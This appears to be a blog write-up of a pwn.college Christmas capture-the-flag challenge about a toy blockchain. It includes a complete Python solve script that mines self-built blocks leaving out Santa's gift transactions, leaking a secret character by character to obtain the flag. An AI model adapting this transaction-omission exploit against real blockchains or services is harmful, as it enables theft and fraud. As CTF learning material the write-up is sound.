On startup each child will get a private and public key in the /challenge/keys directory, although we can only access the private key of the user hacker.

1
2
3
4
5
6
7
8
9
mkdir -p /challenge/keys
CHILDREN="willow hazel holly rowan laurel juniper aspen ash maple alder cedar birch elm cypress pine spruce"
for identity in santa hacker $CHILDREN; do
  mkdir -p "/challenge/keys/${identity}"
  ssh-keygen -t ed25519 -N "" -f "/challenge/keys/${identity}/key" >/dev/null
done
chown -R 1000:1000 /challenge/keys/hacker
...
./children.py $CHILDREN >> /var/log/children.log 2>&1 &

The north_poole.py blockchain application is running on port 80.

1
2
3
4
5
6
./north_poole.py >> /var/log/north_poole.log 2>&1 &
sleep 2

export NORTH_POOLE=http://localhost

./santa.py >> /var/log/santa.log 2>&1 &

The elf.py application is started for each elf individually.

1
2
3
for name in jingle sparkle tinsel nog snowflake; do
  ELF_NAME="$name" ./elf.py >> /var/log/elf.log 2>&1 &
done

Deep Dive

For this challenge every user is allowed to mine blocks, although only children can send a letter and earn NiceCoin™. We have the child hacker for this challenge.

The overall goal is to extract the flag, to do that we need to know the SECRET_GIFT which is a randomly generated value (SECRET_GIFT = os.urandom(16).hex()).

1
2
if SECRET_GIFT in letter["letter"]:
    gift_value = FLAG_GIFT

To get the SECRET_GIFT value, we can write santa a letter in the form of secret index #<num>.

1
2
3
4
if not gift_value and (match := re.search(r"secret index #([0-9]+)", letter["letter"])):
    index = int(match.group(1))
    if 0 <= index < len(SECRET_GIFT):
        gift_value = SECRET_GIFT[index]

The get_nice_balances function substracts 1 nice coin because the secret character is send back as a transaction.

1
2
3
4
5
6
7
if tx_type == "gift" and src == "santa":
    balances[src] = balances.get(src, 0) + 1
    balances[dst] = balances.get(dst, 0) - 1
elif tx_type == "transfer":
    amount = tx.get("transfer", 0)
    balances[src] = balances.get(src, 0) - amount
    balances[dst] = balances.get(dst, 0) + amount

The challenge is that each secret costs and we can only earn 10 NiceCoin™s. If we have more than 10 this line blocks us.

1
2
if nice_counts[nice_person] > 10:
    return jsonify({"error": "abuse of nice list detected"}), 400

Moreover Santa only reads letters from the blockchain which are older than 5 blocks. Other blocks will be ignored because REQUIRED_CONFIRMATION_DEPTH is 5.

1
2
3
4
5
6
7
        # Collect letters Santa can trust (recent blocks are not yet sufficiently confirmed)
        for block in chain[:-REQUIRED_CONFIRMATION_DEPTH]:
            for tx in block["txs"]:
                if tx["type"] == "letter" and tx["dst"] == "santa" and tx["letter"].startswith(LETTER_HEADER):
                    child = tx["src"]
                    letters.setdefault(child, {})
                    letters[child][tx["nonce"]] = tx

Approach

The solution to this problem is typical for a blockchain. Because we can compute blocks for the chain, we can simply don’t add the gift transactions to the blockchain. With that Santa will keep sending us gifts.

The last problem that could arise is that elfs will mine a coin while we are getting the secret. Fortunately, the 5 elves (jingle sparkle tinsel nog snowflake) each wait from 10 to 120 seconds between mining each coin. It is unlikely that one of them is pushing the transaction which will remove a coin from us right when Santa sent the first gift. After the second gift is send from Santa the elf algorithm will error out because it will generate a negative balance.

1
time.sleep(random.randint(10, 120))

Solving Script

The script takes about 1 minute to run, it first sends all the letters to Santa, then it extends the chain by 6 blocks (1 letter block and 5 conformation blocks). Now Santa will return the gift characters which we can collect, after getting all the characters we can send the secret and once again extend the chain. Finally we check the transaction pool for the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
import hashlib
import json
import requests
import time
import uuid
from pathlib import Path
from cryptography.hazmat.primitives import serialization
from pwn import *

REQUIRED_CONFIRMATION_DEPTH = 5
DIFFICULTY = 16
DIFFICULTY_PREFIX = "0" * (DIFFICULTY // 4)
NORTH_POOLE = "http://localhost"
HACKER = "hacker"
LETTER_HEADER = "Dear Santa,\n\nFor christmas this year I would like "
context.log_level = "info"


key_path = Path("/challenge/keys") / HACKER / "key"
HACKER_KEY = serialization.load_ssh_private_key(key_path.read_bytes(), password=None)

def hash_block(block):
    base_str = json.dumps(block, sort_keys=True, separators=(",", ":"))
    nonce = 0
    while True:
        block["nonce"] = nonce
        nonce_str = f'"nonce":{nonce}'
        block_str = base_str.replace('"nonce":0', nonce_str)
        block_hash = hashlib.sha256(block_str.encode()).hexdigest()
        if block_hash.startswith(DIFFICULTY_PREFIX):
            return block
        nonce += 1

def get_block(hash=None):
    params = {"hash": hash} if hash else {}
    resp = requests.get(f"{NORTH_POOLE}/block", params=params)
    resp.raise_for_status()
    data = resp.json()
    return data["block"], data["hash"]


def get_txpool_filtered(parent_hash, exclude_nonces=None):
    exclude_nonces = exclude_nonces or set()
    
    resp = requests.get(f"{NORTH_POOLE}/txpool")
    resp.raise_for_status()
    txs = resp.json()["txs"]
    
    mined_nonces = set()
    current_hash = parent_hash

    while current_hash:
        blk_resp = requests.get(f"{NORTH_POOLE}/block", params={"hash": current_hash})
        if blk_resp.status_code != 200:
            break
        blk = blk_resp.json()["block"]
        mined_nonces.update(tx.get("nonce") for tx in blk.get("txs", []))
        current_hash = blk.get("prev_hash")

    fresh_txs = [tx for tx in txs if tx.get("nonce") not in mined_nonces and tx.get("nonce") not in exclude_nonces]
    return fresh_txs, resp.json()["hash"]

def mine_block(nice_person=None, exclude=None):
    """ Mines a block and excludes all tx's which could result in a invalid block """

    parent_block,parent_hash = get_block()

    txs, _ = get_txpool_filtered(parent_hash, exclude)

    resp = requests.get(f"{NORTH_POOLE}/balances", params={"hash": parent_hash})
    if resp.status_code == 200:
        balances = resp.json().get("balances", {})
        valid_txs = []
        for tx in txs:
            if tx.get("type") == "transfer":
                if balances.get(tx.get("src"), 0) >= tx.get("transfer", 0):
                    valid_txs.append(tx)
            else:
                valid_txs.append(tx)
        txs = valid_txs

    block = {
        "index": parent_block["index"] + 1,
        "prev_hash": parent_hash,
        "nonce": 0,
        "txs": txs,
        "nice": nice_person,
    }


    mined_block = hash_block(block)

    resp = requests.post(f"{NORTH_POOLE}/block", json=mined_block)
    if resp.status_code != 200:
        raise RuntimeError(f"Block rejected: {resp.text}")


def send_letter(content, dst="santa", src=HACKER):
    """ Send a letter to a person """
    try:
        tx_nonce = str(uuid.uuid4())
        tx = {
            "src": src,
            "dst": dst,
            "type": "letter",
            "letter": f"{LETTER_HEADER}{content}",
            "nonce": tx_nonce,
        }

        msg = json.dumps(tx, sort_keys=True, separators=(",", ":"))
        digest = hashlib.sha256(msg.encode()).digest()
        tx["sig"] = HACKER_KEY.sign(digest).hex()

        resp = requests.post(f"{NORTH_POOLE}/tx", json=tx)
        if resp.status_code == 200:
            return tx_nonce
        else:
            raise RuntimeError(f"Letter rejected: {resp.text}")
    except Exception as e:
        log.error(f"Failed to send letter: {e}")
        return None, None

def wait_for_santa_gifts(nonces, timeout=180, poll_interval=2):
    nonce_dict = {key: None for key in nonces}
    start_time = time.time()

    def all_nonces_received():
        return all(nonce_dict[nonce] is not None for nonce in nonces)

    def process_txs(txs):
        for tx in txs:
            if tx.get("src") != "santa":
                continue

            for idx, nonce in enumerate(nonces):
                if nonce_dict[nonce] is not None:
                    continue

                if tx.get("nonce") == f"{nonce}-gift":
                    gift = tx.get("gift")
                    nonce_dict[nonce] = gift
                    log.info(f"Character at index {idx}: {gift}")

    while time.time() - start_time < timeout:
        try:

            txpool_resp = requests.get(f"{NORTH_POOLE}/txpool")
            txpool_resp.raise_for_status()
            process_txs(txpool_resp.json().get("txs", []))

            if all_nonces_received():
                return "".join(nonce_dict[nonce] for nonce in nonces)


            head_resp = requests.get(f"{NORTH_POOLE}/block")
            head_resp.raise_for_status()
            current_hash = head_resp.json().get("hash")

            for _ in range(20):
                if not current_hash:
                    break

                resp = requests.get(f"{NORTH_POOLE}/block", params={"hash": current_hash})
                if resp.status_code != 200:
                    break

                blk = resp.json().get("block", {})
                process_txs(blk.get("txs", []))

                if all_nonces_received():
                    return "".join(nonce_dict[nonce] for nonce in nonces)

                current_hash = blk.get("prev_hash")

        except Exception as e:
            log.error(f"Failed to check Santa gift: {e}")

        time.sleep(poll_interval)

    log.error(f"No gift received after {timeout} seconds")
    return None

def get_flag():
    while True:
        txpool_resp = requests.get(f"{NORTH_POOLE}/txpool").json()
        txs = txpool_resp.get("txs", [])
        count = 0

        for tx in txs:
            if "pwn.college" in str(tx):
                log.success("===== FOUND FLAG =====")
                log.success(tx["gift"])
                exit()
        time.sleep(0.1)


def get_exclusion_list():
    exclude = set()
    try:
        txpool_resp = requests.get(f"{NORTH_POOLE}/txpool")
        if txpool_resp.status_code == 200:
            for tx in txpool_resp.json().get("txs", []):
                if tx.get("type") == "gift" and tx.get("src") == "santa":
                    exclude.add(tx.get("nonce"))
                    log.debug(f"[EXCLUDE] Gift tx: {tx.get('nonce')[:8]}... (dst: {tx.get('dst')})")
    except Exception as e:
        log.warning(f"Could not scan txpool: {e}")

    return exclude

def mine_n_blocks(n,exclude=None,nice_person=None):
    i = 0
    while i < n:
        try:
            mine_block(nice_person=None, exclude=exclude)
            log.info(f"Extended block {i+1}/{n}")
            i += 1
        except RuntimeError as e:
            log.info(f"Block rejected at {i+1}/{n}")
            log.info("Refreshing exclusion list...")

            exclude = get_exclusion_list()

    return

def extract_secret_gift_chars():
    nonces = []

    start_time = time.time()
    
    log.info("Scanning txpool for problematic transactions...")
    exclude = get_exclusion_list()

    for i in range(32):
        letter_content = f"secret index #{i}"
        nonce = send_letter(letter_content)
        nonces.append(nonce)
        
        log.info(f"Sent request for index {i}, nonce: {nonce}")
        time.sleep(0.05)

    log.info("Scanning txpool for problematic transactions...")
    exclude = get_exclusion_list()
    
    
    mine_n_blocks(5,exclude=exclude)

    log.info(f"Waiting for Santa to process letter (needs {REQUIRED_CONFIRMATION_DEPTH} confirmations)...")
    
    gifts = wait_for_santa_gifts(nonces, timeout=180)
    
    if not gifts:
        log.error(f"Timeout - no gift received")
    
    log.success(f"Full gift string: '{gifts}'")

    exclude.add(nonce)
    exclude.add(f"{nonce}-gift")

    nonce = send_letter(gifts)
    
    log.info(f"Sent request for final flag, nonce: {nonce}")

    mine_n_blocks(6,exclude=exclude)

    char_elapsed = time.time() - start_time
    log.info(f"Character extraction took {char_elapsed:.2f} seconds")

if __name__ == "__main__":
    extract_secret_gift_chars()
    get_flag()

Final Notes

MERRY CHRISTMAS


Further Days will be released after approx. 20. December 🏃‍♂️ - I don’t have time lol …….

This post is licensed under CC BY 4.0 by the author.